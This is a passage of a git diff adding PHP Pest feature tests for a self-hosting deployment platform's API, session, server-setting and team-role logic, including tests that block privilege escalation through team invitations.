}); + + test('validates retention fields are integers with minimum 0', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + 'frequency' => 'daily', + 'database_backup_retention_amount_locally' => -1, + ]); + + expect($response->status())->toBeIn([404, 422]); + }); + + test('accepts valid cron expressions', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + 'frequency' => '0 2 * * *', // Daily at 2 AM + ]); + + // Will fail with 404 because database doesn't exist, but validates the request format + expect($response->status())->toBeIn([201, 404, 422]); + }); + + test('accepts predefined frequency values', function () { + $frequencies = ['every_minute', 'hourly', 'daily', 'weekly', 'monthly', 'yearly']; + + foreach ($frequencies as $frequency) { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + 'frequency' => $frequency, + ]); + + // Will fail with 404 because database doesn't exist, but validates the request format + expect($response->status())->toBeIn([201, 404, 422]); + } + }); + + test('rejects extra fields not in allowed list', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + 'frequency' => 'daily', + 'invalid_field' => 'invalid_value', + ]); + + expect($response->status())->toBeIn([404, 422]); + }); +}); diff --git a/tests/Feature/DeletesUserSessionsTest.php b/tests/Feature/DeletesUserSessionsTest.php new file mode 100644 index 000000000..a2bde2eb2 --- /dev/null +++ b/tests/Feature/DeletesUserSessionsTest.php @@ -0,0 +1,136 @@ +create([ + 'password' => Hash::make('old-password'), + ]); + + // Create fake session records for the user + DB::table('sessions')->insert([ + [ + 'id' => 'session-1', + 'user_id' => $user->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload-1'), + 'last_activity' => now()->timestamp, + ], + [ + 'id' => 'session-2', + 'user_id' => $user->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload-2'), + 'last_activity' => now()->timestamp, + ], + ]); + + // Verify sessions exist + expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(2); + + // Change password + $user->password = Hash::make('new-password'); + $user->save(); + + // Verify all sessions for this user were deleted + expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(0); +}); + +it('does not invalidate sessions when password is unchanged', function () { + // Create a user + $user = User::factory()->create([ + 'password' => Hash::make('password'), + ]); + + // Create fake session records for the user + DB::table('sessions')->insert([ + [ + 'id' => 'session-1', + 'user_id' => $user->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload'), + 'last_activity' => now()->timestamp, + ], + ]); + + // Update other user fields (not password) + $user->name = 'New Name'; + $user->save(); + + // Verify session still exists + expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(1); +}); + +it('does not invalidate sessions when password is set to same value', function () { + // Create a user with a specific password + $hashedPassword = Hash::make('password'); + $user = User::factory()->create([ + 'password' => $hashedPassword, + ]); + + // Create fake session records for the user + DB::table('sessions')->insert([ + [ + 'id' => 'session-1', + 'user_id' => $user->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload'), + 'last_activity' => now()->timestamp, + ], + ]); + + // Set password to the same value + $user->password = $hashedPassword; + $user->save(); + + // Verify session still exists (password didn't actually change) + expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(1); +}); + +it('invalidates sessions only for the user whose password changed', function () { + // Create two users + $user1 = User::factory()->create([ + 'password' => Hash::make('password1'), + ]); + $user2 = User::factory()->create([ + 'password' => Hash::make('password2'), + ]); + + // Create sessions for both users + DB::table('sessions')->insert([ + [ + 'id' => 'session-user1', + 'user_id' => $user1->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload-1'), + 'last_activity' => now()->timestamp, + ], + [ + 'id' => 'session-user2', + 'user_id' => $user2->id, + 'ip_address' => '127.0.0.1', + 'user_agent' => 'Test Browser', + 'payload' => base64_encode('test-payload-2'), + 'last_activity' => now()->timestamp, + ], + ]); + + // Change password for user1 only + $user1->password = Hash::make('new-password1'); + $user1->save(); + + // Verify user1's sessions were deleted but user2's remain + expect(DB::table('sessions')->where('user_id', $user1->id)->count())->toBe(0); + expect(DB::table('sessions')->where('user_id', $user2->id)->count())->toBe(1); +}); diff --git a/tests/Feature/DeploymentCancellationApiTest.php b/tests/Feature/DeploymentCancellationApiTest.php new file mode 100644 index 000000000..eee689e13 --- /dev/null +++ b/tests/Feature/DeploymentCancellationApiTest.php @@ -0,0 +1,183 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + // Create an API token for the user + $this->token = $this->user->createToken('test-token', ['*'], $this->team->id); + $this->bearerToken = $this->token->plainTextToken; + + // Create a server for the team + $this->server = Server::factory()->create(['team_id' => $this->team->id]); +}); + +describe('POST /api/v1/deployments/{uuid}/cancel', function () { + test('returns 401 when not authenticated', function () { + $response = $this->postJson('/api/v1/deployments/fake-uuid/cancel'); + + $response->assertStatus(401); + }); + + test('returns 404 when deployment not found', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/deployments/non-existent-uuid/cancel'); + + $response->assertStatus(404); + $response->assertJson(['message' => 'Deployment not found.']); + }); + + test('returns 403 when user does not own the deployment', function () { + // Create another team and server + $otherTeam = Team::factory()->create(); + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + + // Create a deployment on the other team's server + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'test-deployment-uuid', + 'application_id' => 1, + 'server_id' => $otherServer->id, + 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel"); + + $response->assertStatus(403); + $response->assertJson(['message' => 'You do not have permission to cancel this deployment.']); + }); + + test('returns 400 when deployment is already finished', function () { + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'finished-deployment-uuid', + 'application_id' => 1, + 'server_id' => $this->server->id, + 'status' => ApplicationDeploymentStatus::FINISHED->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel"); + + $response->assertStatus(400); + $response->assertJsonFragment(['Deployment cannot be cancelled']); + }); + + test('returns 400 when deployment is already failed', function () { + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'failed-deployment-uuid', + 'application_id' => 1, + 'server_id' => $this->server->id, + 'status' => ApplicationDeploymentStatus::FAILED->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel"); + + $response->assertStatus(400); + $response->assertJsonFragment(['Deployment cannot be cancelled']); + }); + + test('returns 400 when deployment is already cancelled', function () { + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'cancelled-deployment-uuid', + 'application_id' => 1, + 'server_id' => $this->server->id, + 'status' => ApplicationDeploymentStatus::CANCELLED_BY_USER->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel"); + + $response->assertStatus(400); + $response->assertJsonFragment(['Deployment cannot be cancelled']); + }); + + test('successfully cancels queued deployment', function () { + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'queued-deployment-uuid', + 'application_id' => 1, + 'server_id' => $this->server->id, + 'status' => ApplicationDeploymentStatus::QUEUED->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel"); + + // Expect success (200) or 500 if server connection fails (which is expected in test environment) + expect($response->status())->toBeIn([200, 500]); + + // Verify deployment status was updated to cancelled + $deployment->refresh(); + expect($deployment->status)->toBe(ApplicationDeploymentStatus::CANCELLED_BY_USER->value); + }); + + test('successfully cancels in-progress deployment', function () { + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'in-progress-deployment-uuid', + 'application_id' => 1, + 'server_id' => $this->server->id, + 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel"); + + // Expect success (200) or 500 if server connection fails (which is expected in test environment) + expect($response->status())->toBeIn([200, 500]); + + // Verify deployment status was updated to cancelled + $deployment->refresh(); + expect($deployment->status)->toBe(ApplicationDeploymentStatus::CANCELLED_BY_USER->value); + }); + + test('returns correct response structure on success', function () { + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'success-deployment-uuid', + 'application_id' => 1, + 'server_id' => $this->server->id, + 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel"); + + if ($response->status() === 200) { + $response->assertJsonStructure([ + 'message', + 'deployment_uuid', + 'status', + ]); + $response->assertJson([ + 'deployment_uuid' => $deployment->deployment_uuid, + 'status' => ApplicationDeploymentStatus::CANCELLED_BY_USER->value, + ]); + } + }); +}); diff --git a/tests/Feature/GithubAppsListApiTest.php b/tests/Feature/GithubAppsListApiTest.php new file mode 100644 index 000000000..a6ce59dca --- /dev/null +++ b/tests/Feature/GithubAppsListApiTest.php @@ -0,0 +1,222 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + // Create an API token for the user + $this->token = $this->user->createToken('test-token', ['*'], $this->team->id); + $this->bearerToken = $this->token->plainTextToken; + + // Create a private key for the team + $this->privateKey = PrivateKey::create([ + 'name' => 'Test Key', + 'private_key' => 'test-private-key-content', + 'team_id' => $this->team->id, + ]); +}); + +describe('GET /api/v1/github-apps', function () { + test('returns 401 when not authenticated', function () { + $response = $this->getJson('/api/v1/github-apps'); + + $response->assertStatus(401); + }); + + test('returns empty array when no github apps exist', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson('/api/v1/github-apps'); + + $response->assertStatus(200); + $response->assertJson([]); + }); + + test('returns team github apps', function () { + // Create a GitHub app for the team + $githubApp = GithubApp::create([ + 'name' => 'Test GitHub App', + 'api_url' => 'https://api.github.com', + 'html_url' => 'https://github.com', + 'app_id' => 12345, + 'installation_id' => 67890, + 'client_id' => 'test-client-id', + 'client_secret' => 'test-client-secret', + 'webhook_secret' => 'test-webhook-secret', + 'private_key_id' => $this->privateKey->id, + 'team_id' => $this->team->id, + 'is_system_wide' => false, + 'is_public' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson('/api/v1/github-apps'); + + $response->assertStatus(200); + $response->assertJsonCount(1); + $response->assertJsonFragment([ + 'name' => 'Test GitHub App', + 'app_id' => 12345, + ]); + }); + + test('does not return sensitive data', function () { + // Create a GitHub app + GithubApp::create([ + 'name' => 'Test GitHub App', + 'api_url' => 'https://api.github.com', + 'html_url' => 'https://github.com', + 'app_id' => 12345, + 'installation_id' => 67890, + 'client_id' => 'test-client-id', + 'client_secret' => 'secret-should-be-hidden', + 'webhook_secret' => 'webhook-secret-should-be-hidden', + 'private_key_id' => $this->privateKey->id, + 'team_id' => $this->team->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson('/api/v1/github-apps'); + + $response->assertStatus(200); + $json = $response->json(); + + // Ensure sensitive data is not present + expect($json[0])->not->toHaveKey('client_secret'); + expect($json[0])->not->toHaveKey('webhook_secret'); + }); + + test('returns system-wide github apps', function () { + // Create a system-wide GitHub app + $systemApp = GithubApp::create([ + 'name' => 'System GitHub App', + 'api_url' => 'https://api.github.com', + 'html_url' => 'https://github.com', + 'app_id' => 11111, + 'installation_id' => 22222, + 'client_id' => 'system-client-id', + 'client_secret' => 'system-secret', + 'webhook_secret' => 'system-webhook', + 'private_key_id' => $this->privateKey->id, + 'team_id' => $this->team->id, + 'is_system_wide' => true, + ]); + + // Create another team and user + $otherTeam = Team::factory()->create(); + $otherUser = User::factory()->create(); + $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']); + $otherToken = $otherUser->createToken('other-token', ['*'], $otherTeam->id); + + // System-wide apps should be visible to other teams + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$otherToken->plainTextToken, + ])->getJson('/api/v1/github-apps'); + + $response->assertStatus(200); + $response->assertJsonFragment([ + 'name' => 'System GitHub App', + 'is_system_wide' => true, + ]); + }); + + test('does not return other teams github apps', function () { + // Create a GitHub app for this team + GithubApp::create([ + 'name' => 'Team 1 App', + 'api_url' => 'https://api.github.com', + 'html_url' => 'https://github.com', + 'app_id' => 11111, + 'installation_id' => 22222, + 'client_id' => 'team1-client-id', + 'client_secret' => 'team1-secret', + 'webhook_secret' => 'team1-webhook', + 'private_key_id' => $this->privateKey->id, + 'team_id' => $this->team->id, + 'is_system_wide' => false, + ]); + + // Create another team with a GitHub app + $otherTeam = Team::factory()->create(); + $otherPrivateKey = PrivateKey::create([ + 'name' => 'Other Key', + 'private_key' => 'other-key', + 'team_id' => $otherTeam->id, + ]); + GithubApp::create([ + 'name' => 'Team 2 App', + 'api_url' => 'https://api.github.com', + 'html_url' => 'https://github.com', + 'app_id' => 33333, + 'installation_id' => 44444, + 'client_id' => 'team2-client-id', + 'client_secret' => 'team2-secret', + 'webhook_secret' => 'team2-webhook', + 'private_key_id' => $otherPrivateKey->id, + 'team_id' => $otherTeam->id, + 'is_system_wide' => false, + ]); + + // Request from first team should only see their app + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson('/api/v1/github-apps'); + + $response->assertStatus(200); + $response->assertJsonCount(1); + $response->assertJsonFragment(['name' => 'Team 1 App']); + $response->assertJsonMissing(['name' => 'Team 2 App']); + }); + + test('returns correct response structure', function () { + GithubApp::create([ + 'name' => 'Test App', + 'api_url' => 'https://api.github.com', + 'html_url' => 'https://github.com', + 'custom_user' => 'git', + 'custom_port' => 22, + 'app_id' => 12345, + 'installation_id' => 67890, + 'client_id' => 'client-id', + 'client_secret' => 'secret', + 'webhook_secret' => 'webhook', + 'private_key_id' => $this->privateKey->id, + 'team_id' => $this->team->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson('/api/v1/github-apps'); + + $response->assertStatus(200); + $response->assertJsonStructure([ + [ + 'id', + 'uuid', + 'name', + 'api_url', + 'html_url', + 'custom_user', + 'custom_port', + 'app_id', + 'installation_id', + 'client_id', + 'private_key_id', + 'team_id', + 'type', + ], + ]); + }); +}); diff --git a/tests/Feature/HetznerServerCreationTest.php b/tests/Feature/HetznerServerCreationTest.php new file mode 100644 index 000000000..c939c0041 --- /dev/null +++ b/tests/Feature/HetznerServerCreationTest.php @@ -0,0 +1,136 @@ + $enableIpv4, + 'enable_ipv6' => $enableIpv6, + ]; + + expect($publicNet)->toBe([ + 'enable_ipv4' => true, + 'enable_ipv6' => true, + ]); +}); + +it('validates public_net configuration with IPv4 only', function () { + $enableIpv4 = true; + $enableIpv6 = false; + + $publicNet = [ + 'enable_ipv4' => $enableIpv4, + 'enable_ipv6' => $enableIpv6, + ]; + + expect($publicNet)->toBe([ + 'enable_ipv4' => true, + 'enable_ipv6' => false, + ]); +}); + +it('validates public_net configuration with IPv6 only', function () { + $enableIpv4 = false; + $enableIpv6 = true; + + $publicNet = [ + 'enable_ipv4' => $enableIpv4, + 'enable_ipv6' => $enableIpv6, + ]; + + expect($publicNet)->toBe([ + 'enable_ipv4' => false, + 'enable_ipv6' => true, + ]); +}); + +it('validates IP address selection prefers IPv4 when both are enabled', function () { + $enableIpv4 = true; + $enableIpv6 = true; + + $hetznerServer = [ + 'public_net' => [ + 'ipv4' => ['ip' => '1.2.3.4'], + 'ipv6' => ['ip' => '2001:db8::1'], + ], + ]; + + $ipAddress = null; + if ($enableIpv4 && isset($hetznerServer['public_net']['ipv4']['ip'])) { + $ipAddress = $hetznerServer['public_net']['ipv4']['ip']; + } elseif ($enableIpv6 && isset($hetznerServer['public_net']['ipv6']['ip'])) { + $ipAddress = $hetznerServer['public_net']['ipv6']['ip']; + } + + expect($ipAddress)->toBe('1.2.3.4'); +}); + +it('validates IP address selection uses IPv6 when only IPv6 is enabled', function () { + $enableIpv4 = false; + $enableIpv6 = true; + + $hetznerServer = [ + 'public_net' => [ + 'ipv4' => ['ip' => '1.2.3.4'], + 'ipv6' => ['ip' => '2001:db8::1'], + ], + ]; + + $ipAddress = null; + if ($enableIpv4 && isset($hetznerServer['public_net']['ipv4']['ip'])) { + $ipAddress = $hetznerServer['public_net']['ipv4']['ip']; + } elseif ($enableIpv6 && isset($hetznerServer['public_net']['ipv6']['ip'])) { + $ipAddress = $hetznerServer['public_net']['ipv6']['ip']; + } + + expect($ipAddress)->toBe('2001:db8::1'); +}); + +it('validates SSH key array merging logic with Coolify key', function () { + $coolifyKeyId = 123; + $selectedHetznerKeys = []; + + $sshKeys = array_merge( + [$coolifyKeyId], + $selectedHetznerKeys + ); + $sshKeys = array_unique($sshKeys); + $sshKeys = array_values($sshKeys); + + expect($sshKeys)->toBe([123]) + ->and(count($sshKeys))->toBe(1); +}); + +it('validates SSH key array merging with additional Hetzner keys', function () { + $coolifyKeyId = 123; + $selectedHetznerKeys = [456, 789]; + + $sshKeys = array_merge( + [$coolifyKeyId], + $selectedHetznerKeys + ); + $sshKeys = array_unique($sshKeys); + $sshKeys = array_values($sshKeys); + + expect($sshKeys)->toBe([123, 456, 789]) + ->and(count($sshKeys))->toBe(3); +}); + +it('validates deduplication when Coolify key is also in selected keys', function () { + $coolifyKeyId = 123; + $selectedHetznerKeys = [123, 456, 789]; + + $sshKeys = array_merge( + [$coolifyKeyId], + $selectedHetznerKeys + ); + $sshKeys = array_unique($sshKeys); + $sshKeys = array_values($sshKeys); + + expect($sshKeys)->toBe([123, 456, 789]) + ->and(count($sshKeys))->toBe(3); +}); diff --git a/tests/Feature/InstanceSettingsHelperVersionTest.php b/tests/Feature/InstanceSettingsHelperVersionTest.php new file mode 100644 index 000000000..e731fa8b4 --- /dev/null +++ b/tests/Feature/InstanceSettingsHelperVersionTest.php @@ -0,0 +1,81 @@ +create(); + $team = $user->teams()->first(); + Server::factory()->count(3)->create(['team_id' => $team->id]); + + $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']); + + // Change helper_version + $settings->helper_version = 'v1.2.3'; + $settings->save(); + + // Verify PullHelperImageJob was dispatched for all servers + Queue::assertPushed(PullHelperImageJob::class, 3); +}); + +it('does not dispatch PullHelperImageJob when helper_version is unchanged', function () { + Queue::fake(); + + // Create user and servers + $user = User::factory()->create(); + $team = $user->teams()->first(); + Server::factory()->count(3)->create(['team_id' => $team->id]); + + $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']); + $currentVersion = $settings->helper_version; + + // Set to same value + $settings->helper_version = $currentVersion; + $settings->save(); + + // Verify no jobs were dispatched + Queue::assertNotPushed(PullHelperImageJob::class); +}); + +it('does not dispatch PullHelperImageJob when other fields change', function () { + Queue::fake(); + + // Create user and servers + $user = User::factory()->create(); + $team = $user->teams()->first(); + Server::factory()->count(3)->create(['team_id' => $team->id]); + + $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']); + + // Change different field + $settings->is_auto_update_enabled = ! $settings->is_auto_update_enabled; + $settings->save(); + + // Verify no jobs were dispatched + Queue::assertNotPushed(PullHelperImageJob::class); +}); + +it('detects helper_version changes with wasChanged', function () { + $changeDetected = false; + + InstanceSettings::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('helper_version')) { + $changeDetected = true; + } + }); + + $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']); + $settings->helper_version = 'v2.0.0'; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); diff --git a/tests/Feature/ServerSettingSentinelRestartTest.php b/tests/Feature/ServerSettingSentinelRestartTest.php new file mode 100644 index 000000000..7a1c333ca --- /dev/null +++ b/tests/Feature/ServerSettingSentinelRestartTest.php @@ -0,0 +1,139 @@ +create(); + $this->team = $user->teams()->first(); + + // Create server with the team + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +it('detects sentinel_token changes with wasChanged', function () { + $changeDetected = false; + + // Register a test listener that will be called after the model's booted listeners + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_token')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->sentinel_token = 'new-token-value'; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); + +it('detects sentinel_custom_url changes with wasChanged', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_custom_url')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->sentinel_custom_url = 'https://new-url.com'; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); + +it('detects sentinel_metrics_refresh_rate_seconds changes with wasChanged', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_metrics_refresh_rate_seconds')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->sentinel_metrics_refresh_rate_seconds = 60; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); + +it('detects sentinel_metrics_history_days changes with wasChanged', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_metrics_history_days')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->sentinel_metrics_history_days = 14; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); + +it('detects sentinel_push_interval_seconds changes with wasChanged', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_push_interval_seconds')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->sentinel_push_interval_seconds = 30; + $settings->save(); + + expect($changeDetected)->toBeTrue(); +}); + +it('does not detect changes when unrelated field is changed', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ( + $settings->wasChanged('sentinel_token') || + $settings->wasChanged('sentinel_custom_url') || + $settings->wasChanged('sentinel_metrics_refresh_rate_seconds') || + $settings->wasChanged('sentinel_metrics_history_days') || + $settings->wasChanged('sentinel_push_interval_seconds') + ) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $settings->is_reachable = ! $settings->is_reachable; + $settings->save(); + + expect($changeDetected)->toBeFalse(); +}); + +it('does not detect changes when sentinel field is set to same value', function () { + $changeDetected = false; + + ServerSetting::updated(function ($settings) use (&$changeDetected) { + if ($settings->wasChanged('sentinel_token')) { + $changeDetected = true; + } + }); + + $settings = $this->server->settings; + $currentToken = $settings->sentinel_token; + $settings->sentinel_token = $currentToken; + $settings->save(); + + expect($changeDetected)->toBeFalse(); +}); diff --git a/tests/Feature/ServerSettingWasChangedTest.php b/tests/Feature/ServerSettingWasChangedTest.php new file mode 100644 index 000000000..ea7987a4b --- /dev/null +++ b/tests/Feature/ServerSettingWasChangedTest.php @@ -0,0 +1,64 @@ +create(); + $team = $user->teams()->first(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $settings = $server->settings; + + // Change a field + $settings->is_reachable = ! $settings->is_reachable; + $settings->save(); + + // In the updated hook, wasChanged should return true + expect($settings->wasChanged('is_reachable'))->toBeTrue(); +}); + +it('isDirty returns false after saving', function () { + // Create user and server + $user = User::factory()->create(); + $team = $user->teams()->first(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $settings = $server->settings; + + // Change a field + $settings->is_reachable = ! $settings->is_reachable; + $settings->save(); + + // After save, isDirty returns false (this is the bug) + expect($settings->isDirty('is_reachable'))->toBeFalse(); +}); + +it('can detect sentinel_token changes with wasChanged', function () { + // Create user and server + $user = User::factory()->create(); + $team = $user->teams()->first(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $settings = $server->settings; + $originalToken = $settings->sentinel_token; + + // Create a tracking variable using model events + $tokenWasChanged = false; + ServerSetting::updated(function ($model) use (&$tokenWasChanged) { + if ($model->wasChanged('sentinel_token')) { + $tokenWasChanged = true; + } + }); + + // Change the token + $settings->sentinel_token = 'new-token-value-for-testing'; + $settings->save(); + + expect($tokenWasChanged)->toBeTrue(); +}); diff --git a/tests/Feature/TeamInvitationPrivilegeEscalationTest.php b/tests/Feature/TeamInvitationPrivilegeEscalationTest.php new file mode 100644 index 000000000..9e011965a --- /dev/null +++ b/tests/Feature/TeamInvitationPrivilegeEscalationTest.php @@ -0,0 +1,176 @@ +team = Team::factory()->create(); + + $this->owner = User::factory()->create(); + $this->admin = User::factory()->create(); + $this->member = User::factory()->create(); + + $this->team->members()->attach($this->owner->id, ['role' => 'owner']); + $this->team->members()->attach($this->admin->id, ['role' => 'admin']); + $this->team->members()->attach($this->member->id, ['role' => 'member']); +}); + +describe('privilege escalation prevention', function () { + test('member cannot invite admin (SECURITY FIX)', function () { + // Login as member + $this->actingAs($this->member); + session(['currentTeam' => $this->team]); + + // Attempt to invite someone as admin + Livewire::test(InviteLink::class) + ->set('email', 'newadmin@example.com') + ->set('role', 'admin') + ->call('viaLink') + ->assertDispatched('error'); + }); + + test('member cannot invite owner (SECURITY FIX)', function () { + // Login as member + $this->actingAs($this->member); + session(['currentTeam' => $this->team]); + + // Attempt to invite someone as owner + Livewire::test(InviteLink::class) + ->set('email', 'newowner@example.com') + ->set('role', 'owner') + ->call('viaLink') + ->assertDispatched('error'); + }); + + test('admin cannot invite owner', function () { + // Login as admin + $this->actingAs($this->admin); + session(['currentTeam' => $this->team]); + + // Attempt to invite someone as owner + Livewire::test(InviteLink::class) + ->set('email', 'newowner@example.com') + ->set('role', 'owner') + ->call('viaLink') + ->assertDispatched('error'); + }); + + test('admin can invite member', function () { + // Login as admin + $this->actingAs($this->admin); + session(['currentTeam' => $this->team]); + + // Invite someone as member + Livewire::test(InviteLink::class) + ->set('email', 'newmember@example.com') + ->set('role', 'member') + ->call('viaLink') + ->assertDispatched('success'); + + // Verify invitation was created + $this->assertDatabaseHas('team_invitations', [ + 'email' => 'newmember@example.com', + 'role' => 'member', + 'team_id' => $this->team->id, + ]); + }); + + test('admin can invite admin', function () { + // Login as admin + $this->actingAs($this->admin); + session(['currentTeam' => $this->team]); + + // Invite someone as admin + Livewire::test(InviteLink::class) + ->set('email', 'newadmin@example.com') + ->set('role', 'admin') + ->call('viaLink') + ->assertDispatched('success'); + + // Verify invitation was created + $this->assertDatabaseHas('team_invitations', [ + 'email' => 'newadmin@example.com', + 'role' => 'admin', + 'team_id' => $this->team->id, + ]); + }); + + test('owner can invite member', function () { + // Login as owner + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + + // Invite someone as member + Livewire::test(InviteLink::class) + ->set('email', 'newmember@example.com') + ->set('role', 'member') + ->call('viaLink') + ->assertDispatched('success'); + + // Verify invitation was created + $this->assertDatabaseHas('team_invitations', [ + 'email' => 'newmember@example.com', + 'role' => 'member', + 'team_id' => $this->team->id, + ]); + }); + + test('owner can invite admin', function () { + // Login as owner + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + + // Invite someone as admin + Livewire::test(InviteLink::class) + ->set('email', 'newadmin@example.com') + ->set('role', 'admin') + ->call('viaLink') + ->assertDispatched('success'); + + // Verify invitation was created + $this->assertDatabaseHas('team_invitations', [ + 'email' => 'newadmin@example.com', + 'role' => 'admin', + 'team_id' => $this->team->id, + ]); + }); + + test('owner can invite owner', function () { + // Login as owner + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + + // Invite someone as owner + Livewire::test(InviteLink::class) + ->set('email', 'newowner@example.com') + ->set('role', 'owner') + ->call('viaLink') + ->assertDispatched('success'); + + // Verify invitation was created + $this->assertDatabaseHas('team_invitations', [ + 'email' => 'newowner@example.com', + 'role' => 'owner', + 'team_id' => $this->team->id, + ]); + }); + + test('member cannot bypass policy by calling viaEmail', function () { + // Login as member + $this->actingAs($this->member); + session(['currentTeam' => $this->team]); + + // Attempt to invite someone as admin via email + Livewire::test(InviteLink::class) + ->set('email', 'newadmin@example.com') + ->set('role', 'admin') + ->call('viaEmail') + ->assertDispatched('error'); + }); +}); diff --git a/tests/Feature/TeamPolicyTest.php b/tests/Feature/TeamPolicyTest.php new file mode 100644 index 000000000..d6a65e231 --- /dev/null +++ b/tests/Feature/TeamPolicyTest.php @@ -0,0 +1,184 @@ +team = Team::factory()->create(); + + $this->owner = User::factory()->create(); + $this->admin = User::factory()->create(); + $this->member = User::factory()->create(); + + $this->team->members()->attach($this->owner->id, 